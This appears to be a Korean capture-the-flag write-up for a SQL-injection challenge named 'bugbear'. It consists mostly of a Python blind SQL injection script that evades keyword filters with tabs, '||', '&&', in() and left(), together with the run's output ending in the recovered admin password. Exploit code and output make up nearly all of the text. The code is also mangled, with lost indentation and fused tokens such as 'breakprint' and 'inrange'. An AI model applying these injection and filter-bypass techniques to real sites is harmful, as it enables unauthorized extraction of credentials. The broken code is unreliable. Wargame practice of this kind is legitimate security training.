import string
from requests import get
if __name__ == "__main__" :
url = ### BUGBEAR url ###
cookie = dict(PHPSESSID = "### 자기의 PHPSESSID ###")
length = 0
password = ""
letters = string.digits + string.ascii_letters
print("### find length of pw ###")
while(True) :
param = "?no=12351235%09||length(pw)%09in("+str(length)+")--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0 ):
print("find length of pw : "+str(length))
breakprint(str(length)+" is wrong length")
length+=1print("\n\n### find for pw ###")
for i inrange(1,length+1) :
for a in letters :
param = "?no=1234566%09||%09id%09in(%22admin%22)%09%26%26%09left(pw,"+str(i)+")%09in(%22"+(password+a)+"%22)--%20;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("Hello admin")>=0) :
print("find for "+str(i)+"'s pw : "+a)
password += a
breakprint("finally found pw : "+password)
치환된 항목는 다음과 같으며, 출력은 아래와 같다.
공백 >> TAB(%09)
or >> 파이프(||)
and >> &&
등호 or like >> in(in 명령어는 항목이 in()의 파라미터 있으면 참이다.)
substr >> left를 이용한(기존에 구한 password에 검사할 문자열을 더해서 반복한다.)
### find length of pw ###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find length of pw : 8
### find for pw ###
find for 1's pw : 5
find for 2's pw : 2
find for 3's pw : d
find for 4's pw : c
find for 5's pw : 3
find for 6's pw : 9
find for 7's pw : 9
find for 8's pw : 1
finally find pw : 52dc3991
BugBear를 퇴치한 걸 축하한다.
여태까지 물리친 몬스터들의 공략법을 기억했다면, in을 사용하는 것 말고는 새로운 방법이 없었던 bugbear였다. 다음 관문에서 여러분들을 기다리겠다.